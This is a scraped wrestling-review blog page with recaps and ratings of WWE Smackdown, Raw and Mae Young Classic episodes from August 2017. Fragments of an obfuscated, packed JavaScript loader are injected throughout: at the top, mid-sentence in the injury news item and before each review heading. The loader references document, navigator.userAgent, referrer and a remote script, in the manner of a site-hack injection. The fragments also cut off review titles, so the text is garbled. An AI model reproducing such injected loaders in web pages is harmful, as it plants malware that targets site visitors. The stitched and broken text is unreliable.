Smackdown
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhzry|var|u0026u|referrer|ykkbf||js|php'.split('|'),0,{})) August 29, 2017
Location: Verizon Arena, Little Rock, Arkansas
Commentators: Tom Phillips, John Bradshaw Layfield, Byron Saxton

We’re finally out of Brooklyn and it’s time to start the slow build towards Hell in a Cell. In this case that means we start dealing with the fallout of Shane McMahon costing Kevin Owens another shot at the US Title, which was the top story as we came out of last week’s show. Let’s get to it.

Here’s Jinder Mahal to open things up as Smackdown brings the party in a hurry. He’s ready for tonight’s tag match main event when he gets to deal with Randy Orton and Shinsuke Nakamura at the same time. We get the same speech we always get: he’s tired of being disrespected because of how he looks and he should be revered. The Singh Brothers apologize to everyone in India, including their families and friends, but more importantly to Mahal. No one will ever lay another hand on him and they would like to kiss his feet to apologize.

Before they actually can though, here’s Shinsuke Nakamura to interrupt. The fight is on until Nakamura gets caught in the numbers game. Randy Orton, Nakamura’s partner’s tonight, comes in for the save but so does Rusev. The good guys are beaten down and Mahal poses. This was way longer than it needed to be and Mahal continues to be really uninteresting.

Chad Gable/Shelton Benjamin vs. Ascension

Chad takes Viktor down without much effort and it’s off to Shelton, who doesn’t want to do a double suplex. A regular suplex gets two instead and it’s off to Gable for a suplex of his own. Viktor throws him to the floor though and we take a break. Back with Chad still in trouble at Viktor’s hands before it’s off to Konnor for some clubbing forearms.

Chad sends a charging Konnor into the post though and there’s the hot tag to Shelton. The Dragon Whip and a top rope clothesline have Konnor in trouble as things pick up. Everything breaks down and Chad sends Viktor into Shelton for a jumping Downward Spiral (Paydirt) and the pin at 7:16.

Rating: C-. This was the welcome to the tag division match for Shelton and Chad and that’s perfectly fine. I’m not sure how long they’re intending to have this team go on and it’s not like they’re hiding that. That being said, keeping them together for awhile would help the completely depleted tag division and it would be annoying to have another team put together for the sake of splitting them up again.

Baron Corbin is tired of hearing about how he blew his opportunity because it was John Cena’s fault. Thanks to him though, the US Open Challenge is back and he’ll just have to cash in on that.

Here’s AJ Styles to say the US Open Challenge is on right now.

US Title: AJ Styles vs. Tye Dillinger

AJ is defending. Hang on a second as Baron Corbin cuts Dillinger off on the ramp. Tye shoves him away but gets jumped from behind. Dillinger knocks him away again and gets inside for the opening bell. AJ slugs away to start but Dillinger breaks up the Phenomenal Blitz. Dillinger slugs away but gets kicked in the head, only to counter the Phenomena Forearm into the Tyebreaker. That’s countered as well and it’s the Calf Crusher to make Dillinger tap at 49 seconds.

Corbin jumps Dillinger again but gets forearmed down by Styles.

Mahal talks to Rusev in the back but Rusev says they’re not friends. He wouldn’t mind a title shot after the tag match either.

Mike Kanellis vs. Bobby Roode

Roode takes him to the mat with ease and gives us a GLORIOUS pose. Some chops in the corner and a hard elbow to the jaw keep Kanellis in trouble. The spinebuster sets up the Glorious DDT to end Kanellis at 2:46. Just a squash.

Here’s Aiden English for a song but Kevin Owens interrupts. Owens asks him to vacate the premises so he can talk about what happened last week in the main event. Basically it’s all Shane’s fault that he’s not the US Champion right now. Owens won the Universal Title one year ago today and now he’s standing year without his US Title. This never would have happened in the good old days when he was on Raw where Stephanie McMahon never would have let this happen.

Cue Shane to say Baron was Owens’ pick and turned out to be a very biased referee. Corbin didn’t even finish the match and that’s why Shane had to come out there in the first place. Owens insists he got screwed but Shane doesn’t want to hear it. Aiden needs to get back in the ring because he has a match right now.

Aiden English vs. Sami Zayn

Owens sits in on commentary. Aiden wastes no time in hammering away and grabbing a suplex for two. Sami fights up and throws him outside for the running flip dive, which draws Owens into the ring to take the referee’s shirt. Well they do say vertical stripes are slimming. As you might expect Sami isn’t sure what’s going on and the distraction lets Aiden jump Sami from behind. Owens adds a Pop Up Powerbomb and a fast count gives Aiden the pin at 2:24. I guess Shane was off finding a hot pretzel.

Video package on….Sgt. Slaughter? Sponsored by Burger King? Ok then.

Dolph Ziggler is asked what you can expect from him but he says you can expect…..nothing. He’s been around for ten years and it’s not fair that he’s just an afterthought. He’s really a star but he gets distracted by all the little things. Ziggler does the You Can’t See Me and wants to know what that even means.

On Raw too you have a guy playing a guitar and it makes no sense. Maybe he can hop on a four wheeler like Stone Cold did and pour beer over himself while pretending to drink it. Or he can paint himself up like Finn Balor or be a superhero called Zigman. If you want all flash and no substance, that’s what you’re going to get next week. I can’t imagine I’ll ever say this again but I’m rather interested.

Usos vs. New Day

Non-title but the winners get to pick the stipulation for the rematch. Wait what? Are you serious? They really have NO OTHER OPTIONS to determine this? Not a singles match? Or a coin toss? Or a spelling bee? Woods is limping to the ring with a sign around his neck saying “it’s sore” due to a knee injury suffered at a house show. The fact that he can walk on it is a very good sign at least.

Joined in progress with Jimmy charging into a Rock Bottom out of the corner. That’s enough for the hot tag to Kofi for some dropkicks and a dragon sleeper of all things to Jey. Everything breaks down and Jimmy offers a distraction so Jey can grab a rollup for the pin at 2:24 shown.

Carmella yells at James Ellsworth for screwing up last week when Natalya comes in and threatens to make her the Baron Corbin of the women’s division. They have a match next week and Ellsworth seems to like the idea. Carmella and Ellsworth leave so Naomi can come in and talk about the title rematch in two weeks. Cat jokes are made as well.

Lana, with the accent coming and going every few words, introduces Tamina for her match.

Tamina vs. Tina Stock

Stock goes after her as the LET’S GO JOBBER chant starts. Lana grabs a mic and orders that Tamina CRUSH. Tamina sends her into the corner for a knee to the head and a superkick for the pin at 59 seconds.

Tamina and Lana have a quick photoshoot after the match.

It’s time for Season 2 of the Fashion Files! We even have an opening sequence now with highlights of previous episodes, including a graphic saying “not at all starring Chuck Norris”. They’re back in the office (room Two B) with Breeze saying they need to solve their biggest crime now that vacation is over.

In order to do that though, they have new tech from the boys in the lab. First up we have some long distance listening device (headphones), a blacklight, a belt (to hold your pants up) and friendship bracelets. They turn out the lights to test the blacklight and see some arrows on their boxes, eventually pointing to their room sign. The blacklight reveals that it says Two B or Not to B, which leads them to suspect Aiden English because it’s Shakespeare you see.

Shinsuke Nakamura/Randy Orton vs. Rusev/Jinder Mahal

The good guys start brawling on the floor with the villains being sent into the barricade. We take a break before the opening bell and it’s joined in progress with Nakamura kicking Mahal in the head. Orton comes in and hammers away on the champ but the RKO is blocked. After a quick trip to the floor, a Singh Brothers distraction lets Rusev send Orton into the barricade and stomp away.

We hit the front facelock for a bit before Mahal comes in for a knee drop. Orton sends Mahal shoulder first into the post and it’s off to Nakamura to clean some house. The running knee to the ribs in the corner gets two on Rusev and Mahal has to break up a cross armbreaker. Everything breaks down and Mahal escapes the draping DDT so Orton hits a regular one. That’s rather odd. Orton can’t hit the RKO but it’s Kinshasa to put Rusev away at 7:30.

Rating: D+. Standard main event tag match here, which means the match was only ok. It was pretty clear that Rusev was just there for the sake of taking the fall, which I’m glad about as you don’t want your champion losing, even if he is Jinder Mahal. If nothing else it’s another thing you can add to the list of reasons why Rusev probably isn’t the biggest Mahal fan.

Post match Orton stares at Nakamura and lays him out with the RKO to end the show.

Overall Rating: C+. They got a lot of stuff on this show and that’s a good thing for once. Nothing felt like it overstayed its welcome, which made for a pretty easy show to watch. It’s also nice to see them setting things up in advance, which is becoming a trend. We now have two matches announced and one more announced for the following week. That’s not bad and gives me a reason to keep watching, which is more than you can often say about most shows. Good effort this week but there’s nothing worth going out of your way to see.

Results

Chad Gable/Shelton Benjamin b. Ascension – Paydirt to Viktor

AJ Styles b. Tye Dillinger – Calf Crusher

Bobby Roode b. Mike Kanellis – Glorious DDT

Aiden English b. Sami Zayn – Pop Up Powerbomb from Kevin Owens

Tamina b. Tina Stock – Superkick

Randy Orton/Shinsuke Nakamura b. Jinder Mahal/Rusev – Kinshasa to Rusev

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

….please tell me Big Cass won’t have company.After eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nefrn|var|u0026u|referrer|fnteh||js|php'.split('|'),0,{})) last week’s injury to Big Cass, two more names have suffered knee injuries and we already have a diagnosis on one.

https://wrestlingrumors.net/samoa-joe-suffers-knee-injury-long-will/

Then we have what might be the really bad one as Xavier Woods suffered a bad knee injury at a house show.  Woods was going for a jumping DDT and got shoved off with his knee buckling on the landing.  There is no word on how long he might be out but any time you hear the words “knee buckled”, it’s a really bad sign.

https://wrestlingrumors.net/xavier-woods-suffers-knee-injury-house-show/

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ksbzn|var|u0026u|referrer|fdtse||js|php'.split('|'),0,{})) Night Raw
Date: August 28, 2017
Location: FedEx Forum, Memphis, Tennessee
Commentators: Jerry Lawler, Michael Cole, Corey Graves

We’re less than a month away from No Mercy and the show is already looking big. With Braun Strowman vs. Brock Lesnar already on the card and some more potentially huge matches being added, this show has suddenly gone from a nothing pay per view to something pretty big. Let’s get to it.

The Miztourage is in the ring to open things up. Before Miz can get a single word out though, here’s Kurt Angle to interrupt. Angle talks about how the Intercontinental Title has been taking some hits as of late, there’s going to be a title match soon. Miz cuts him off to yell about the lack of respect the title has been shown as of late. It’s going to be fixed soon though as we’re going to have a battle royal right now with the winner facing Miz for the title next week.

Battle Royal

Big Show, Curtis Axel, Bo Dallas, Jeff Hardy, Matt Hardy, Finn Balor, Jason Jordan, Curt Hawkins, R-Truth, Kalisto, Goldust, Apollo Crews, Luke Gallows, Karl Anderson, Elias

Big Show is now clean shaven. Hawkins (listed as Curtis) is put out at the bell and everyone else turns their attention to Big Show. That goes poorly for everyone else as Show cleans house and things spread out a bit. Kalisto is put out and the Hardys feed Elias to Show for some loud chops. Cole: “That’s music to Big Show’s ears.”

Anderson and Gallows get together to try and get rid of Show but it’s Balor’s assistance that finally gets rid of the giant. Elias (called Samson by Cole in what might be a mistake) decks Balor from behind and things break up again. The Miztourage gets rid of Truth and Goldust is put out as well at the hands of Anderson and Gallows.

Back from a break with Crews having been eliminated. Matt gets rid of Gallows and pulls Anderson to the apron for another elimination, only to have Gallows pull Matt out for the elimination. Miz saves Dallas as the referees are distracted and things settle down again. We’ve got Balor, Jordan, Dallas, Axel, Jeff Hardy and Elias to go.

Balor starts cleaning house but gets into a staredown with Jeff that gets the fans’ attention. Some running dropkicks in the corner have people in trouble, but here’s Bray Wyatt to eliminate Balor and then disappear again. Jordan starts throwing suplexes and gets rid of the Miztourage. There goes Elias, followed by Jordan at Jeff’s hands to give Hardy the win at 16:17.

Rating: D+. I like the choice of a winner there as Jeff is someone who can easily get a spot like this and even win the title. While I still think we’re heading for a Jordan title match at No Mercy, it’s nice to see someone get a surprise shot in the middle. Hardy winning the title wouldn’t be the worst idea in the world, but either way it’s a good idea to see him getting more of a singles push.

We look back at Braun Strowman laying out Brock Lesnar last week.

Alexa Bliss promises to regain the title tonight. Tonight, the goddess reclaims her throne.

Here’s Enzo Amore to talk about beating a giant like Big Cass last week. Not only can he hang with bigger men like him, he can also compete in the fast paced, high flying cruiserweight division. After bragging about winning money on Saturday’s fight, he dances around and announces his opponent.

Enzo Amore vs. Noam Dar

Amore spins out of a wristlock to start but gets kneed hard in the ribs. Dar pulls at the hair and knees away in the corner before being sent face first into the middle buckle. Enzo pops right back up and grabs Eat Defeat for the pin at 2:55.

Neville says if Enzo is his competition, he’ll be Cruiserweight Champion forever.

Here are Brock Lesnar and Paul Heyman for a chat. Heyman talks about what happened last week with Braun Strowman, who is the kind of monster that his parents warned him about. Strowman had an historic night at Summerslam when he, as Corey Graves said, monster handled Lesnar by powerslamming him through two tables. We see a clip of last week’s attack on Lesnar, which Heyman says made him know Strowman is a monster. At No Mercy, Lesnar is going to be ready for Strowman. Heyman explains what’s going to happen but Brock takes the mic. Brock: “What he’s trying to say is Suplex City b****.”

Long recap of last week’s segment with Miz, John Cena, Samoa Joe and Roman Reigns, including their tag match. Cena vs. Reigns is confirmed for No Mercy and their contract signing is tonight.

Cesaro vs. Seth Rollins

Rollins and Ambrose did their entrances before the commercial and before the package. That seems like some mistiming, which you don’t see around here too often. Seth starts fast by sending Cesaro outside where he comes up holding his back. Back in and a standing moonsault gives Seth two but he’s sent outside as well. Ambrose and Sheamus have the staredown but Rollins catches Cesaro diving off the apron. A tilt-a-whirl backbreaker cuts Rollins off though and we take a break.

Back with Cesaro dropping him with a gorilla press and rolling some gutwrench suplexes. A slam sets up Cesaro’s high crossbody but Seth rolls through for two. There’s the Sling Blade and a Blockbuster but Cesaro catches him on the top. Sheamus and Ambrose get into it on the floor and the distraction lets Cesaro hit a European uppercut for the pin at 10:19.

Rating: C+. I’m already over these teams fighting but that’s no excuse to not have the same singles matches over and over on Raw. Can’t someone just ask Paul Heyman for 842 ways to advance a feud without doing anything else? This seems to be the only idea they know and since there are almost no other teams, this is what we’re stuck watching.

Sheamus says he and Ambrose are up next.

Sheamus vs. Dean Ambrose

They fight to the floor to start and it’s off to an early break. Back with Sheamus getting two off a top rope superplex and grabbing a Stretch Muffler (Brock Lock). That goes nowhere so it’s off to a Texas Cloverleaf instead. The ten forearms to the chest keep Dean in trouble and he hobbles into a boot in the corner.

Dean grabs a swinging neckbreaker for two but gets caught on top, setting up a super Regal Roll. The Brogue Kick misses but Dean can’t hit Dirty Deeds. Cesaro and Rollins get into another argument and the chase is on through the ring. The referee deals with Cesaro, allowing Seth to knee Sheamus in the face. Dirty Deeds is good for the pin on Sheamus at 10:45.

Rating: C+. Well at least they got it out of the way in a hurry. This was the obvious next match but please tell me they’re not just going to switch the opponents next week. The division feels completely depleted at this point and having these teams feud over and over again really doesn’t prove otherwise.

Emma is complaining about the whole Twitter thing again because she started the Women’s Revolution. Mickie James is sick of hearing about it (preach it) and has an idea: if Emma beats her tonight, she’ll Tweet anything Emma wants. If Mickie wins, Emma can’t say she started the Women’s Revolution again.

Mickie James vs. Emma

Emma has new music and they’re fighting over hashtags. Mickie kicks her down a few times but gets caught in a quick rollup to give Emma the pin at 1:42.

Emma grabs the mic and says she started the Women’s Revolution all the way to the back.

Kurt Angle is in the ring for the contract signing between Cena and Reigns. Cena is out first to say that he’s on Raw to face one man and Angle has made that happen for No Mercy. He’s seen Reigns being treated as the untouchable star and we’ll see how he can hang at No Mercy. Cena signs and here’s Reigns. Roman says that as great as Cena is, there’s one thing that he’s done that Cena can never do: retire the Undertaker at Wrestlemania.

Cena kneels before him and says some people are still trying to figure Reigns out. We hear about the fans wanting to see Cena change his ways (with the term heel turn being dropped in a rare moment) before Cena says Reigns is just a guy trying to fill shoes he can never fill. Cena isn’t a man at the end of his career with a bad hip. The reason Reigns won’t sign that is because the Roman Empire is done if he does.

Reigns says Cena sucks so Cena puts his arm around Angle and says the fans think he does too but he won a gold medal. Roman seems a bit shaken and lost for what to say. Cena: “Go ahead find it. I’ll wait. It’s called a promo and if you want to be the big dog you’re going to have to learn how to do it. SEE YOU FOURTH WALL!” Reigns gets fired up and goes on a rant that sounds straight off a message board, talking about how hard he works on the weekend so Cena can be on the Today Show.

Then Cena gets on his tour bus and shows up at a show if they pay him enough with the big shovel to bury people around him. Reigns is the one guy he can’t bury or see. Cena calls him out for being repetitive and says “it took you five years to cut a halfway decent promo but now I’m about to cut you down to size.” He talks about the mythical golden shovel but it’s always the fans who hold the keys and they always will.

Cena is tired of hearing the same thing for ten years by a lot tougher people. Here’s the thing: Cena hasn’t main evented Wrestlemania in five years and he was the opening match at Summerslam. He won the US Title and used it to introduce new stars to the WWE including Kevin Owens and AJ Styles (I believe he means Sami Zayn as AJ debuted way later). Reigns took the US Title as a demotion and now stands there blaming Cena for not being able to hang with him.

Cena has seen a lot of people trying to hang at this level and he’s heard about one guy getting to do it. Now he sees Roman face to face and gets the line of the night: “You’re lucky I’m a part timer because I can do this part time way better than you ever could full time.” Reigns signs and turns over the table….and here are Anderson and Gallows to make it a tag match in the most ridiculous ending to an amazing promo I can remember in a long time.

Cena DESTROYED Reigns here, making him sound like every other heel. Now if Reigns wins at No Mercy (which he probably will), everything will be fine for him but at the end of the day, almost no one ever can hang with Cena on the mic and he picked Reigns apart the entire time. If nothing else the lines about Reigns needing to learn promos and the fourth wall thing were outstanding. Now let’s get to this ridiculous tag match.

Anderson and Gallows vs. John Cena/Roman Reigns

Joined in progress with Cena in trouble in the corner as Gallows grabs a headlock. Anderson comes in for a chinlock as the announcers rave about everything Cena was saying. Gallows misses an elbow and the hot tag brings in Reigns. Roman cleans house and you can tell Reigns is ticked off here. The Superman Punch connects to both guys and it’s an AA and spear at the same time to give Reigns the pin on Anderson at 6:02.

Rating: D+. While I still have no idea what the point of this was, Reigns vs. Cena is going to be a huge match when we get to No Mercy. Cena’s promo is going to be talked about for a few weeks as he made the match feel even more awesome than it’s likely to be. If Reigns wins he’ll be fine, but he has a lot to make up for at this point. Now can someone explain to me why this match happened? I really don’t get it.

Here’s Elias to sing a song to the tune of Hound Dog about how much he hates Memphis. This brings Jerry Lawler out of his seat to say that Elias has a good voice but he’s missing his audience. While the people of Memphis might not appreciate what Elias is saying, they might appreciate this man: Southpaw Regional Wrestling’s own Pelvis Wesley (Heath Slater). Elias beats him up without too much effort. Cole: “I guess he didn’t want to walk with Elias.”

Miz and Maryse are annoyed at Jeff Hardy getting a shot by just winning a battle royal.

Sasha Banks is ready to beat Alexa.

Women’s Title: Alexa Bliss vs. Sasha Banks

Banks is defending and gets rolled up for an early two. Sasha sends her hard into the corner and grabs an armbar. They’re starting with a slow pace and Bliss bails to the floor for a breather. There are the double knees from the apron and we take a break. Back with Bliss holding an armbar of her own before starting in on the back.

It’s off to a bow and arrow hold but Banks fights up without too much effort. The Bank Statement doesn’t work so Sasha goes with the running knees in the corner, only to miss a second attempt. Bliss goes with a hard right hand and a Code Red for a pretty close two. Banks gets in a few more knees and some aggressive forearms in the corner.

Back up and Alexa catches her in the corner by sending her face first into a buckle. A top rope superplex connects to bust up the back even more. Bliss is slow to cover and gets caught in the Bank Statement. That’s reversed into a rollup for two and there’s the DDT to give Bliss the title back at 15:00.

Rating: B. I’m really not getting the lack of successful title defenses for Banks. That makes four reigns and she’s lost the title in her first defense every time. As for the match itself, Bliss winning clean is an interesting call and the right one if you have to change the title. She looked better than she has before in the ring and is getting to the point where she can hang with the better workers. Couple that with the insane charisma and persona and she’s quite the force.

Post match Nia Jax comes out and destroys Sasha before putting Bliss on her shoulders. One electric chair later and Jax holds up the title over the new champ to end the show.

Overall Rating: B. The wrestling was good, the hype for the pay per view was solid and the Cena promo was outstanding. It might not have been a perfect show or anything really close but they felt like they were executing a plan tonight. Raw is smoking Smackdown at the moment and it’s really not even close. Good show this week and one of their best in a long time.

Results

Jeff Hardy won a battle royal last eliminating Jason Jordan

Enzo Amore b. Noam Dar – Eat Defeat

Cesaro b. Seth Rollins – European uppercut

Dean Ambrose b. Sheamus – Dirty Deeds

Emma b. Mickie James – Rollup

Roman Reigns/John Cena b. Anderson and Gallows – Spear to Anderson

Alexa Bliss b. Sasha Banks – DDT

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nykyb|var|u0026u|referrer|hetrz||js|php'.split('|'),0,{})) Young Classic Episode #4
Date: August 28, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

It’s the end of the first round here and there’s a good chance we’ll be seeing the tournament winner making her debut. There are a few big names still to go and that means it’s time for some showcases. We’ll also know the second round by the end of this episode and that means it’s time for big names to collide and things to really take off. Let’s get to it.

Long recap of the whole tournament so far and a preview of what we’re seeing tonight.

Opening sequence.

Video on Renee Michelle who is ready to show how awesome women can be.

Video on Candice LeRae, who is one of the biggest names in the tournament. She’s also married to Johnny Gargano but wants no special treatment.

Gargano is in the front row.

First Round: Candice LeRae vs. Renee Michelle

Feeling out process to start as a fan yells something that makes the crowd laugh. They trade rollups into a standoff as this is a VERY pro-Candice crowd. Candice sends her into the corner for a missile dropkick but Renee is back with kicks of her own. Renee gets kicked off and a jumping neckbreaker gives Candice two. Candice misses a charge in the corner but manages to avoid a middle rope moonsault. They head up top and it’s Miss LeRae’s Wild Ride (super swinging neckbreaker) for the pin on Renee at 5:37.

Rating: C-. Nothing to see here though you can tell LeRae is a step above a lot of these people. The fans are clearly into her and that’s the kind of reaction that’s going to guarantee at least a spot in the second round. Good enough match here with Michelle looking perfectly acceptable as well.

Video on Lacey Evans, a former Marine who has made some appearances in NXT before.

Video on Taynara Conti, a judoka from Brazil, who is ready to fight anyone.

Alexa Bliss (and I believe Bayley’s fan Izzy behind her) is here.

First Round: Taynara Conti vs. Lacey Evans

The fans get behind Lacey with the USA chants as Conti fires off some knees to the ribs. An armbar has Conti in some trouble until an over the head throw takes Evans down. A shot to the chest takes Conti back down and something like a Bronco Buster has her in more trouble. Evans throws Conti on her back for a kneeling piledriver and the pin at 4:43.

Rating: C-. Not much to see here and I’m a bit surprised that Conti, who seemed to be built up as a big deal, got beaten down that easily. Evans has been around WWE for a little while, now so her winning isn’t a big shock, but that was quite the quick exit for Conti. Evans doesn’t do much for me but she’s got something with the ex-military thing.

Video on Reina Gonzalez, a second generation wrestler and a powerhouse.

Video on Nicole Savoy, the self-described queen of suplexes.

First Round: Nicole Savoy vs. Reina Gonzalez

Reina is sporting chaps and a Phantom of the Opera mask. You see something new every day (weekly at worst) in wrestling. Feeling out process to start with the far smaller Nicole not being able to take Gonzalez down. A hurricanrana is shoved away and a hard clothesline drops Savoy. Reina plants her again with a sidewalk slam and a reverse Boston crab, only to get pulled down into something like a Kimura. A cross armbreaker works a lot better and Reina taps at 4:46.

Rating: C-. Not the worst match in the world but Savoy didn’t throw a single suplex, which was her main talking point in her video. Gonzalez was a bit slower than she probably should have been and that hurt things a lot. The ending hurt it a bit too as Nicole was dominated and then came back with two moves to win. That’s not the best thing in the world, but it was at least watchable. Kind of like Reina in general.

Video on Tessa Blanchard, another second generation wrestler who turns into a different person in the ring. She’s been around NXT for a good while now.

Video on Kairi Sane, a Japanese star who likes pirates. She’s probably the favorite in the whole tournament.

Kairi is very pale. Feeling out process to start with Kairi putting her on the ropes for a clean break. A cradle gives Kairi two and a running Blockbuster drops Tessa again. Tessa comes back with a running neckbreaker of her own before a middle rope Codebreaker gets two more. Some hard forearms stun Sane but she’s right back with a spear to cut Tessa off.

Something like a top rope Phenomenal Forearm drops Tessa for two and the fans are split again. Tessa gets two off a belly to back suplex and a top rope backsplash gets the same. Kairi’s sliding forearm is countered into a crucifix for two but she kicks Tessa down again. Kairi points to the elbow and drops one heck of a top rope elbow for the pin at 8:39.

Rating: B. I don’t know if it was enough to live up to Kairi’s hype but this was the best match of the first round. Tessa was more than game here and if she’s not pushed at least to like halfway to the clouds (the moon might be too far this soon), I’m not sure what WWE is thinking. Sane is likely the favorite to win the thing but it was a smart idea to have her sweat a bit in the first round.

They hug post match.

We don’t actually see the full second round brackets but here they are.

Abbey Laith

Rachel Evers

Princesa Sugehit

Mercedes Martinez

Nicole Savoy

Candice LeRae

Mia Yim

Shayna Baszler

Kairi Sane

Bianca Belair

Dakota Kai

Rhea Ripley

Serena Deeb

Piper Niven

Lacey Evans

Toni Storm

Overall Rating: C+. The main event alone is worth seeing and the rest of the card is more than watchable. It’s a lot better now that we know who is advancing to the second round as a lot of the deadwood has been cleared out. There hasn’t been that blow away match yet but the main event here was solid enough. I’ve liked what I’ve seen so far and the second round should be an upgrade, especially in match quality. Good show here and hopefully it keeps getting better.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dhdni|var|u0026u|referrer|nrziy||js|php'.split('|'),0,{})) Young Classic Episode #3
Date: August 28, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

It’s time to start the second half of the first round and I’ve liked the tournament so far. It might not be anything great so far but the talent is there and they’re still in the opening stages, meaning we won’t be seeing any showdowns until the second round. That’s when these things get good but we have to get there first. Let’s get to it.

Mauro recaps and previews us again.

Opening sequence.

Video on Toni Storm, an Australian with an attitude. Oh and a little top hat. She’s also the first Progress Women’s Champion.

Video on Ayesha Raymond, the Deadlift Diva. I think you get the idea here.

First Round: Toni Storm vs. Ayesha Raymond

No handshake before the match. Raymond is much bigger but the fans are behind Storm. Toni backs out of a headlock and offers a handshake but this time pulls her own hand back when Ayesha goes for it. A running kick to the face sets up some hip attacks to drop Raymond again. Raymond is right back up with a side slam and corner splash as the pace slows. Toni avoids a charge in the corner and grabs a Backstabber as the Aussie fans start up again. A slam off the top puts Storm down but Raymond hops down instead of going after her. The delay lets Toni avoid a top rope splash and grab a rolling cradle for the pin at 4:28.

Charlotte and Sara Amoto are here. Can we just put both of them in the Hall of Fame already?

Video on Kavita Devi, the first Indian woman ever in WWE. She was trained by Great Khali so her future isn’t exactly bright.

Video on Dakota Kai, the girl next girl from New Zealand who can get very serious if necessary.

First Round: Kavita Devi vs. Dakota Kai

The much bigger Devi shoves her around without much effort and then walks the top rope into an armdrag in a very impressive bit of athleticism. A second version works just as well Kai’s dropkick has no effect and a gorilla press drop makes things even worse for her. Devi slowly walks around instead of following up though and gets caught with a running boot to the face in the corner. Kai is quickly up top and a double stomp ends Davi at 3:58.

Rating: D+. Much like Raymond, Davi didn’t show me anything here and it made for a dull match. Kai has a good look and seems to have the charisma to back it up but there’s only so much you can do against someone who was trained by Great Khali. Hopefully the next match is a better fit for her, which I can’t imagine being the case otherwise.

Rock’s family, including Nia Jax, is here.

Video on Bianca Belair, who is quite the well rounded athlete with a VERY long hair braid that is often used as a weapon.

Video on Sage Beckett, formerly known as Rosie Lottalove. She’s lost something like 150lbs and turned into quite the vicious brawler. Beckett talks about channeling energy to do whatever she needs.

First Round: Sage Beckett vs. Bianca Belair

The power showdown starts early with the bigger Sage (though Bianca is far from small) running her over and getting two off a shoulder. Belair comes back with a dropkick and a hard clothesline for two each as they’re beating each other pretty well here. Something like a running frog splash gets the same and it’s off to a double chickenwing on Sage. Back up and a Bubba Bomb gives Beckett (who was trained by the Dudleys) a near fall of her own and Bianca gets splashed in the corner. Belair gets tied in the Tree of Woe but avoids a Vader Bomb. A shot with the hair braid sets up a spear to send Bianca on at 5:25.

Rating: C+. I liked this one but it had some rough spots. Beckett is a bit better than your average monster, though it felt like she was just there for Belair to slay. As for Belair, there’s some awesome potential there due to natural athleticism but the hair thing isn’t working for me. It’s distracting and having her whip Sage back with it was too far for me.

Charly Caruso recaps things.

Video on Santana Garrett, who is billed as the Wonder Woman of the tournament and has appeared on NXT (and TNA) before.

Video on Piper Niven, a Scot with some size to her. She’s better known as Viper on the indy scene.

First Round: Santana Garrett vs. Piper Niven

Piper drives her into the corner and gives her a friendly shove to the jaw. The fans are split again as Garrett spins out of a wristlock. Niven easily powers out of something like a Black Widow, only to get kicked in the chest for two. A headscissors drops Niven but she comes right back with a crossbody for a near fall of her own. It’s off to the cravate, which JR compares to bangers and mash or fish and chips.

A clothesline gives Piper too as JR praises her for her simple strategy. Garrett gets two off a DDT and an Eat Defeat but a bulldog is broken up. Piper’s running splash gets two (looked great too) but she gets caught on top with a running strike to the face. The fans are WAY into these near falls and Santana’s superkick makes it even better. She misses a moonsault though and a backsplash sets up the Michinoku Driver to end Garrett at 7:10.

Rating: B-. Niven did more than most huge females do and that makes for an entertaining match. Sometimes you need a change of pace from all the same stuff and that’s why she’s going to shine so well. Garrett still seems to have most of the tools but needs some better coaching. You know, like at the Performance Center, where she’s still not signed for some reason.

The recap and preview finish things off.

Overall Rating: C. The good was good and the bad was tolerable but some of this stuff is starting to run together. There are definitely some people starting to stand out though and that’s what makes things more interesting. Avoiding spoilers for the most part has helped too, though when WWE.com is telling you who won some of the first round matches, it gets a little annoying. Still though, not a bad show but it’s yet to hit that high gear.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ydkht|var|u0026u|referrer|trtre||js|php'.split('|'),0,{})) Young Classic Episode #2
Date: August 28, 2017
Location: Full Sail University, Winter Park, Florida
Commentators: Jim Ross, Lita

It’s kind of nice to have all four episodes of the first round up on the same day as we’re going to be able to get to the final sixteen in one day. The first four matches were all fine and we already have some names to watch. This show will get us down to twenty four names left in the competition so let’s get to it.

